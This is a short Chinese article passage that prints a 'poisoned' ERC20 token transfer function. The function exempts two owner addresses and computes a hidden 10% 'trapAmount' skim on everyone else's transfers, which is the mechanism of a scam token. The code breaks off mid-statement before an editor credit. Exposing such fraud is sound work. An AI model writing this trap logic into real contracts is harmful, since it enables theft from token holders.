下面就是「有毒」的 transfer 函数: function_transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance =_balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); if (sender == ownerA || sender == ownerB) { _balances[sender] = senderBalance - amount; _balances[recipient] += amount; } else { _balances[sender] = senderBalance - amount; uint256 trapAmount = (amount * 10) / 100; _balances[recipient] += (责任编辑:admin) |